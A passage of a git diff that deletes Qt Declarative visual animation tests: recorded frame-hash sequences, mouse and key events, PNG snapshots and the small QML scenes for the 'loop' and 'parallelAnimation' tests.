"3e6a6f505aa146a6789434d265ad4d3b" - } - Frame { - msec: 2640 - hash: "3e6089b47573cd53b0a220275202c80b" - } - Frame { - msec: 2656 - hash: "53bd2c46e3a11db0ee151a6a0311b3a8" - } - Frame { - msec: 2672 - hash: "f30202ae354a587c5949a16c1f8b95c3" - } - Frame { - msec: 2688 - hash: "66f78a34fe9d297af1ae8e98f84ead55" - } - Frame { - msec: 2704 - hash: "3e2fc29876812fe57ea008a71db299a4" - } - Frame { - msec: 2720 - hash: "7234b6df2220e418ef8ebe8f1c82bf26" - } - Frame { - msec: 2736 - hash: "82dd491c3b34e702a24ece8e55761a6f" - } - Frame { - msec: 2752 - hash: "d7f1065f5c42088dfc5ce36687fd8010" - } - Frame { - msec: 2768 - hash: "15bfbb0261b66ccbe3b34d0ac807165c" - } - Frame { - msec: 2784 - hash: "69963ce07eb434d787588b21fd020fa3" - } - Frame { - msec: 2800 - hash: "2fb9e078573ebd1a5cf0f615c97f1d20" - } - Frame { - msec: 2816 - hash: "31fa31ed47ea16390be8ea9d41f483e7" - } - Frame { - msec: 2832 - hash: "0f9ed8cd5cfbdab03bcb05cf6dd92620" - } - Frame { - msec: 2848 - hash: "a0e737132ae642c465e991e770ab3e34" - } - Frame { - msec: 2864 - hash: "d57cc5045f01ab4e7eb72575aef22a10" - } - Frame { - msec: 2880 - image: "loop.2.png" - } - Frame { - msec: 2896 - hash: "df41be1fa564353ceb2088af209610d3" - } - Frame { - msec: 2912 - hash: "2d294613ed10dfdbca829b43b6990574" - } - Frame { - msec: 2928 - hash: "0a278a4ec3626442c94ef2da30771171" - } - Frame { - msec: 2944 - hash: "7071526c830fdfde9d520ad1578d27a8" - } - Frame { - msec: 2960 - hash: "ad02e7b90f223d3fc5a433bc4ffbee9e" - } - Frame { - msec: 2976 - hash: "e7ef412697c7df3887980ed1b079ffd5" - } - Frame { - msec: 2992 - hash: "ebda21f95079b37f4862b42523bbc1c0" - } - Frame { - msec: 3008 - hash: "6e8889e9b44ff8ed44e228d97fb5034c" - } - Frame { - msec: 3024 - hash: "f32aceabb929471dffd73bf0290e75a2" - } - Frame { - msec: 3040 - hash: "9112838cc8f9a0cfb94e0ef6ca7eca71" - } - Frame { - msec: 3056 - hash: "53bd2c46e3a11db0ee151a6a0311b3a8" - } - Frame { - msec: 3072 - hash: "d5105f958a592324e53aae4a83beb049" - } - Frame { - msec: 3088 - hash: "862249432e6fc6114b63284ad9c97cb6" - } - Frame { - msec: 3104 - hash: "3e6a6f505aa146a6789434d265ad4d3b" - } - Frame { - msec: 3120 - hash: "0f5b2b05f72b86bd2b0a6d0ea2b6bf37" - } - Frame { - msec: 3136 - hash: "922520f7ec954d6d1061208cbd63877e" - } - Frame { - msec: 3152 - hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" - } - Frame { - msec: 3168 - hash: "ebb41112b687ecb062dedc3b49cb93fc" - } - Frame { - msec: 3184 - hash: "7bc87d71d532aa52abc26ac9c1cbb665" - } - Frame { - msec: 3200 - hash: "1a7a81f851c8817cac3cc0cb7ac07971" - } - Frame { - msec: 3216 - hash: "ca17c870c55f2947bb5f85d28f30ee7c" - } - Frame { - msec: 3232 - hash: "48b123cfd6d2ea1c2bc9f2ba822ec7bf" - } - Frame { - msec: 3248 - hash: "2a6b8aecef26793e200993dc1e25fd95" - } - Frame { - msec: 3264 - hash: "f10a0a11ed54a910fe434311f67343a4" - } - Frame { - msec: 3280 - hash: "47b6e1beabdcd3cd3d21d77c62e5bed8" - } - Frame { - msec: 3296 - hash: "1eea7eb2853a9e7a1a69738667457b7a" - } - Frame { - msec: 3312 - hash: "9e018f9e7a5ba22bbb9be3049373124a" - } - Frame { - msec: 3328 - hash: "d63069a8e7b0eb5611cc34caaecef2fb" - } - Frame { - msec: 3344 - hash: "def9383a090e4454343725f1a7c4fb3d" - } - Frame { - msec: 3360 - hash: "fd3036e559fd31eeadb0032666a95864" - } - Frame { - msec: 3376 - hash: "cf9f82b9e2a03f63f75b6ac113b3d4e5" - } - Frame { - msec: 3392 - hash: "346e7f597cfb4fc51d5393e705deddd5" - } - Frame { - msec: 3408 - hash: "0d6d6cb2ca808f5a57acfa32e10fc335" - } - Frame { - msec: 3424 - hash: "9a660a0fed41211a37d3ac82be40f81a" - } - Frame { - msec: 3440 - hash: "df3fd60ecbd517879e00e8112c49bed4" - } - Frame { - msec: 3456 - hash: "cd86fe5894e5d061f7ffe37913f00ce6" - } - Frame { - msec: 3472 - hash: "a5fdb825c18d43f3ae18f5c28e715174" - } - Frame { - msec: 3488 - hash: "0fdfb5f9463def560da6c19acf96bafb" - } - Frame { - msec: 3504 - hash: "8849a36af064503dbccad69a35b6ab03" - } - Frame { - msec: 3520 - hash: "baeb4f90b0e2efc09225dbb5dd003e9e" - } - Frame { - msec: 3536 - hash: "86922e71c80976ef3aa2cab18f86c010" - } - Frame { - msec: 3552 - hash: "10d166d7da9949370a66251415522186" - } - Frame { - msec: 3568 - hash: "ada1608055b221dc9f1f7650a9764930" - } - Frame { - msec: 3584 - hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" - } - Frame { - msec: 3600 - hash: "dc4a1c44d08328965b53ff079a8fa57b" - } - Frame { - msec: 3616 - hash: "d3d88cf635ba38e5035732cb36014417" - } - Frame { - msec: 3632 - hash: "be5e44f6b9978ba3b9ae878ae5758a96" - } - Frame { - msec: 3648 - hash: "34f193daf199ab45310be2b407499e57" - } - Frame { - msec: 3664 - hash: "d87c854e1c16642dba0d87e25f0e416f" - } - Frame { - msec: 3680 - hash: "08c404f4efd27695071ad52fbfa57c0b" - } - Frame { - msec: 3696 - hash: "84828f8e0cace1a39d9b7f19b6e4cbaa" - } - Frame { - msec: 3712 - hash: "8a0c6e1f597e699c3e2be816ae4e1dd4" - } - Frame { - msec: 3728 - hash: "9aecb0c464fb140725f34ad94ede367a" - } - Frame { - msec: 3744 - hash: "a298b3ab2939819ced7e7f903ec63be4" - } - Frame { - msec: 3760 - hash: "99789b6e168355a3960986c7d1f21f82" - } - Frame { - msec: 3776 - hash: "ebd37ee719ca460480521fd4ec284a3f" - } - Frame { - msec: 3792 - hash: "9c9b3fb5b623d3deaf9920c99279d71b" - } - Frame { - msec: 3808 - hash: "8f0be6d4d6fd7f66a43fd604e17717dd" - } - Frame { - msec: 3824 - hash: "854defd35cf3315e4501583756814ff6" - } - Frame { - msec: 3840 - image: "loop.3.png" - } - Frame { - msec: 3856 - hash: "e6521a3c74c190c193af2c913e5326e2" - } - Frame { - msec: 3872 - hash: "19862dcb88fcbbb2c4ecdc42821c7fef" - } - Frame { - msec: 3888 - hash: "5e29a9f9c6c4131c5b71f84d24503ad2" - } - Frame { - msec: 3904 - hash: "140e63c071ef77d26034d0bb6a5d5b7a" - } - Frame { - msec: 3920 - hash: "72c0bf8225504e86ff023242b84513a8" - } - Frame { - msec: 3936 - hash: "7f79dd50a0af8e8871191ee80afcad0f" - } - Frame { - msec: 3952 - hash: "a5eb3334044999f56c759ce8727d627f" - } - Frame { - msec: 3968 - hash: "3fb70a7591b6decfa44f7cad18f73855" - } - Frame { - msec: 3984 - hash: "3fab99be73f7f12b9463dea359fc86d2" - } - Frame { - msec: 4000 - hash: "50ce6b869e42c949b84cf2dd0cca3af9" - } - Frame { - msec: 4016 - hash: "5369125b23e2f954c18f2fd4e0ba6f6a" - } - Frame { - msec: 4032 - hash: "a76f624be0db97ec4450b10f748065df" - } - Frame { - msec: 4048 - hash: "3fb70a7591b6decfa44f7cad18f73855" - } - Frame { - msec: 4064 - hash: "dada267799b6e57acfcc5de3b8822c7c" - } - Frame { - msec: 4080 - hash: "72c0bf8225504e86ff023242b84513a8" - } - Frame { - msec: 4096 - hash: "1e8b095c39bd359637b1b9c975ee514c" - } - Frame { - msec: 4112 - hash: "19862dcb88fcbbb2c4ecdc42821c7fef" - } - Frame { - msec: 4128 - hash: "60c95993a894e1c6e2d476db365b7746" - } - Frame { - msec: 4144 - hash: "854defd35cf3315e4501583756814ff6" - } - Frame { - msec: 4160 - hash: "15e8959bfa4d206b2f0607322b21cba6" - } - Frame { - msec: 4176 - hash: "ebd37ee719ca460480521fd4ec284a3f" - } - Frame { - msec: 4192 - hash: "6d278926822d044fff04c3f182dcb058" - } - Frame { - msec: 4208 - hash: "9aecb0c464fb140725f34ad94ede367a" - } - Frame { - msec: 4224 - hash: "b36f70f138e6deecf5b105bcd89d1a15" - } - Frame { - msec: 4240 - hash: "08c404f4efd27695071ad52fbfa57c0b" - } - Frame { - msec: 4256 - hash: "6469d0bee7ab280639b565ebf174f251" - } - Frame { - msec: 4272 - hash: "be5e44f6b9978ba3b9ae878ae5758a96" - } - Frame { - msec: 4288 - hash: "5214e578bc78b729ddf35c140093c0da" - } - Frame { - msec: 4304 - hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" - } - Frame { - msec: 4320 - hash: "2ddf31aeac4815be56848703a9b5aa14" - } - Frame { - msec: 4336 - hash: "86922e71c80976ef3aa2cab18f86c010" - } - Frame { - msec: 4352 - hash: "d8415ba4fb19b62b838ef2e09ae7607a" - } - Frame { - msec: 4368 - hash: "0fdfb5f9463def560da6c19acf96bafb" - } - Frame { - msec: 4384 - hash: "68fac60713af7cb130e92fa381be411c" - } - Frame { - msec: 4400 - hash: "df3fd60ecbd517879e00e8112c49bed4" - } - Frame { - msec: 4416 - hash: "64e49282d97ba864d2f6be632ae048e4" - } - Frame { - msec: 4432 - hash: "346e7f597cfb4fc51d5393e705deddd5" - } - Frame { - msec: 4448 - hash: "f302a9ce45187ff1001c967a4c753b2b" - } - Frame { - msec: 4464 - hash: "def9383a090e4454343725f1a7c4fb3d" - } - Frame { - msec: 4480 - hash: "fd177a7ae3b5b9205fd38e955be327e0" - } - Frame { - msec: 4496 - hash: "1eea7eb2853a9e7a1a69738667457b7a" - } - Frame { - msec: 4512 - hash: "32b16dd62ccf06e44be38fd5885f297e" - } - Frame { - msec: 4528 - hash: "2a6b8aecef26793e200993dc1e25fd95" - } - Frame { - msec: 4544 - hash: "8637606843905d6ae3f95fcb745f2a6e" - } - Frame { - msec: 4560 - hash: "1a7a81f851c8817cac3cc0cb7ac07971" - } - Frame { - msec: 4576 - hash: "704ca30ddc0a637f3d1cd4926a6f7983" - } - Frame { - msec: 4592 - hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" - } - Frame { - msec: 4608 - hash: "7759418b4fe412857ab8e7294f5a3206" - } - Frame { - msec: 4624 - hash: "3e6a6f505aa146a6789434d265ad4d3b" - } - Frame { - msec: 4640 - hash: "3e6089b47573cd53b0a220275202c80b" - } - Frame { - msec: 4656 - hash: "53bd2c46e3a11db0ee151a6a0311b3a8" - } - Frame { - msec: 4672 - hash: "f30202ae354a587c5949a16c1f8b95c3" - } - Frame { - msec: 4688 - hash: "66f78a34fe9d297af1ae8e98f84ead55" - } - Frame { - msec: 4704 - hash: "3e2fc29876812fe57ea008a71db299a4" - } - Frame { - msec: 4720 - hash: "7234b6df2220e418ef8ebe8f1c82bf26" - } - Frame { - msec: 4736 - hash: "82dd491c3b34e702a24ece8e55761a6f" - } - Frame { - msec: 4752 - hash: "d7f1065f5c42088dfc5ce36687fd8010" - } - Frame { - msec: 4768 - hash: "15bfbb0261b66ccbe3b34d0ac807165c" - } - Frame { - msec: 4784 - hash: "69963ce07eb434d787588b21fd020fa3" - } - Frame { - msec: 4800 - image: "loop.4.png" - } - Frame { - msec: 4816 - hash: "31fa31ed47ea16390be8ea9d41f483e7" - } - Frame { - msec: 4832 - hash: "0f9ed8cd5cfbdab03bcb05cf6dd92620" - } - Frame { - msec: 4848 - hash: "a0e737132ae642c465e991e770ab3e34" - } - Frame { - msec: 4864 - hash: "d57cc5045f01ab4e7eb72575aef22a10" - } - Frame { - msec: 4880 - hash: "d57e1a10e48938e1f7fc219220fe1204" - } - Frame { - msec: 4896 - hash: "df41be1fa564353ceb2088af209610d3" - } - Frame { - msec: 4912 - hash: "2d294613ed10dfdbca829b43b6990574" - } - Frame { - msec: 4928 - hash: "0a278a4ec3626442c94ef2da30771171" - } - Frame { - msec: 4944 - hash: "7071526c830fdfde9d520ad1578d27a8" - } - Frame { - msec: 4960 - hash: "ad02e7b90f223d3fc5a433bc4ffbee9e" - } - Frame { - msec: 4976 - hash: "e7ef412697c7df3887980ed1b079ffd5" - } - Frame { - msec: 4992 - hash: "ebda21f95079b37f4862b42523bbc1c0" - } - Frame { - msec: 5008 - hash: "6e8889e9b44ff8ed44e228d97fb5034c" - } - Frame { - msec: 5024 - hash: "f32aceabb929471dffd73bf0290e75a2" - } - Frame { - msec: 5040 - hash: "9112838cc8f9a0cfb94e0ef6ca7eca71" - } - Frame { - msec: 5056 - hash: "53bd2c46e3a11db0ee151a6a0311b3a8" - } - Frame { - msec: 5072 - hash: "d5105f958a592324e53aae4a83beb049" - } - Frame { - msec: 5088 - hash: "862249432e6fc6114b63284ad9c97cb6" - } - Frame { - msec: 5104 - hash: "3e6a6f505aa146a6789434d265ad4d3b" - } - Frame { - msec: 5120 - hash: "0f5b2b05f72b86bd2b0a6d0ea2b6bf37" - } - Frame { - msec: 5136 - hash: "922520f7ec954d6d1061208cbd63877e" - } - Frame { - msec: 5152 - hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" - } - Frame { - msec: 5168 - hash: "ebb41112b687ecb062dedc3b49cb93fc" - } - Frame { - msec: 5184 - hash: "7bc87d71d532aa52abc26ac9c1cbb665" - } - Frame { - msec: 5200 - hash: "1a7a81f851c8817cac3cc0cb7ac07971" - } - Frame { - msec: 5216 - hash: "ca17c870c55f2947bb5f85d28f30ee7c" - } - Frame { - msec: 5232 - hash: "48b123cfd6d2ea1c2bc9f2ba822ec7bf" - } - Frame { - msec: 5248 - hash: "2a6b8aecef26793e200993dc1e25fd95" - } - Frame { - msec: 5264 - hash: "f10a0a11ed54a910fe434311f67343a4" - } - Frame { - msec: 5280 - hash: "47b6e1beabdcd3cd3d21d77c62e5bed8" - } - Frame { - msec: 5296 - hash: "1eea7eb2853a9e7a1a69738667457b7a" - } - Frame { - msec: 5312 - hash: "9e018f9e7a5ba22bbb9be3049373124a" - } - Frame { - msec: 5328 - hash: "d63069a8e7b0eb5611cc34caaecef2fb" - } - Frame { - msec: 5344 - hash: "def9383a090e4454343725f1a7c4fb3d" - } - Frame { - msec: 5360 - hash: "fd3036e559fd31eeadb0032666a95864" - } - Frame { - msec: 5376 - hash: "cf9f82b9e2a03f63f75b6ac113b3d4e5" - } - Frame { - msec: 5392 - hash: "346e7f597cfb4fc51d5393e705deddd5" - } - Frame { - msec: 5408 - hash: "0d6d6cb2ca808f5a57acfa32e10fc335" - } - Frame { - msec: 5424 - hash: "9a660a0fed41211a37d3ac82be40f81a" - } - Frame { - msec: 5440 - hash: "df3fd60ecbd517879e00e8112c49bed4" - } - Frame { - msec: 5456 - hash: "cd86fe5894e5d061f7ffe37913f00ce6" - } - Frame { - msec: 5472 - hash: "a5fdb825c18d43f3ae18f5c28e715174" - } - Frame { - msec: 5488 - hash: "0fdfb5f9463def560da6c19acf96bafb" - } - Frame { - msec: 5504 - hash: "8849a36af064503dbccad69a35b6ab03" - } - Frame { - msec: 5520 - hash: "baeb4f90b0e2efc09225dbb5dd003e9e" - } - Frame { - msec: 5536 - hash: "86922e71c80976ef3aa2cab18f86c010" - } - Frame { - msec: 5552 - hash: "10d166d7da9949370a66251415522186" - } - Frame { - msec: 5568 - hash: "ada1608055b221dc9f1f7650a9764930" - } - Frame { - msec: 5584 - hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" - } - Frame { - msec: 5600 - hash: "dc4a1c44d08328965b53ff079a8fa57b" - } - Frame { - msec: 5616 - hash: "d3d88cf635ba38e5035732cb36014417" - } - Frame { - msec: 5632 - hash: "be5e44f6b9978ba3b9ae878ae5758a96" - } - Frame { - msec: 5648 - hash: "34f193daf199ab45310be2b407499e57" - } - Frame { - msec: 5664 - hash: "d87c854e1c16642dba0d87e25f0e416f" - } - Frame { - msec: 5680 - hash: "08c404f4efd27695071ad52fbfa57c0b" - } - Frame { - msec: 5696 - hash: "84828f8e0cace1a39d9b7f19b6e4cbaa" - } - Frame { - msec: 5712 - hash: "8a0c6e1f597e699c3e2be816ae4e1dd4" - } - Frame { - msec: 5728 - hash: "9aecb0c464fb140725f34ad94ede367a" - } - Frame { - msec: 5744 - hash: "a298b3ab2939819ced7e7f903ec63be4" - } - Frame { - msec: 5760 - image: "loop.5.png" - } - Frame { - msec: 5776 - hash: "ebd37ee719ca460480521fd4ec284a3f" - } - Frame { - msec: 5792 - hash: "9c9b3fb5b623d3deaf9920c99279d71b" - } - Frame { - msec: 5808 - hash: "8f0be6d4d6fd7f66a43fd604e17717dd" - } - Frame { - msec: 5824 - hash: "854defd35cf3315e4501583756814ff6" - } - Frame { - msec: 5840 - hash: "fd7157aef6dfb303472cd33b176f91d8" - } - Frame { - msec: 5856 - hash: "e6521a3c74c190c193af2c913e5326e2" - } -} diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml deleted file mode 100644 index 5389b26..0000000 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ /dev/null @@ -1,24 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: wrapper - width: 600 - height: 100 - - Rectangle { - id: redRect - width: 100; height: 100 - color: Qt.rgba(1,0,0) - /* This should produce an animation that starts at 0, animates smoothly - to 100, jumps to 200, animates smoothly to 400, animates smoothly - back to 100, jumps to 200, and so on. - */ - SequentialAnimation on x { - loops: Animation.Infinite - NumberAnimation { to: 100; duration: 1000 } - NumberAnimation { from: 200; to: 400; duration: 1000 } - } - - } - -} diff --git a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.0.png b/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.0.png deleted file mode 100644 index 82c18d7..0000000 Binary files a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.1.png b/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.1.png deleted file mode 100644 index b9a3b89..0000000 Binary files a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.2.png b/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.2.png deleted file mode 100644 index 789615b..0000000 Binary files a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.qml b/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.qml deleted file mode 100644 index 5f5b8fc..0000000 --- a/tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.qml +++ /dev/null @@ -1,463 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 32 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 48 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 64 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 80 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 96 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 112 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 128 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 144 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 160 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 176 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 192 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 208 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 224 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 240 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 256 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 272 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 288 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 304 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 320 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 336 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 352 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 368 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 384 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 400 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 416 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 432 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 448 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 464 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 480 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 496 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 512 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 528 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 544 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 560 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 576 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 592 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 608 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 624 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 640 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 656 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 672 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 688 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 704 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 720 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 736 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 752 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 137; y: 74 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 768 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 784 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 800 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 816 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 832 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 848 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 864 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 137; y: 74 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 880 - hash: "4faa7727bafeea0771f2db62f0141ac9" - } - Frame { - msec: 896 - hash: "0fada111cb977c4de8c7499e44714f38" - } - Frame { - msec: 912 - hash: "1817e010332117dcddc1a1b1a2caf52d" - } - Frame { - msec: 928 - hash: "e4add6bf93479c9bca571419fe2fabf9" - } - Frame { - msec: 944 - hash: "d8812e206d2cbf434d58db6a35439a44" - } - Frame { - msec: 960 - image: "parallelAnimation.0.png" - } - Frame { - msec: 976 - hash: "a238178c584aaf2563d29bff927d5bab" - } - Frame { - msec: 992 - hash: "f583e9fe8feda02e796a61c5fed7b0eb" - } - Frame { - msec: 1008 - hash: "b3a1a4fd85912831e551a8c07da1a561" - } - Frame { - msec: 1024 - hash: "f7c111ee4a04af6c1da958f8b56c28ee" - } - Frame { - msec: 1040 - hash: "f53fa374817d81ee44fb98e64e464b36" - } - Frame { - msec: 1056 - hash: "547ddef13cbcaaf57bb1f4e2bb7bc822" - } - Frame { - msec: 1072 - hash: "8b10ccfef926103a6d67d68eee250f83" - } - Frame { - msec: 1088 - hash: "008bbb50dc659e6f5eea15290680edd7" - } - Frame { - msec: 1104 - hash: "0217e3230d3df44363a023d0d7defc5f" - } - Frame { - msec: 1120 - hash: "ab9907a92452de6878f4c346febe705c" - } - Frame { - msec: 1136 - hash: "7bce31f347a7f0598d2d64026c702f3e" - } - Frame { - msec: 1152 - hash: "032080184907bc5b01db7675802d7dbe" - } - Frame { - msec: 1168 - hash: "2cba43a2e5febcc44bfd1379b9cb2591" - } - Frame { - msec: 1184 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1200 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1216 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1232 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1248 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1264 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1280 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1296 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1312 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1328 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1344 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1360 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1376 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1392 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1408 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1424 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1440 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1456 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1472 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1488 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1504 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1520 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1536 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1552 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1568 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1584 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1600 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1616 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1632 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1648 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1664 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1680 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1696 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1712 - hash: "b901a51b5605621adff7b34c61f8f320" - } - Frame { - msec: 1728 - hash: "b901a51b5605621adff7b34c61f8f320" - } -} diff --git a/tests/auto/declarative/visual/animation/parallelAnimation/parallelAnimation.qml b/tests/auto/declarative/visual/animation/parallelAnimation/parallelAnimation.qml deleted file mode 100644 index 1980b91..0000000 --- a/tests/auto/declarative/visual/animation/parallelAnimation/parallelAnimation.qml +++ /dev/null @@ -1,43 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 200 - Rectangle { - id: redRect - width: 100; height: 100 - color: "red" - } - Rectangle { - id: redRect2 - width: 100; height: 100 - y: 100 - color: "red" - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "state1" - } - - states: State { - name: "state1" - PropertyChanges { - target: redRect - x: 300 - color: "purple" - } - PropertyChanges { - target: redRect2 - x: 300 - color: "purple" - } - } - - transitions: Transition { - PropertyAnimation { targets: redRect; properties: "x,color"; duration: 300 } - ParallelAnimation { - NumberAnimation { targets: redRect2; properties: "x"; duration: 300 } - ColorAnimation { targets: redRect2; properties: "color"; duration: 300 } - } - } -} diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.0.png b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.0.png deleted file mode 100644 index 7d41abc..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.1.png b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.1.png deleted file mode 100644 index 16b95ab..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.2.png 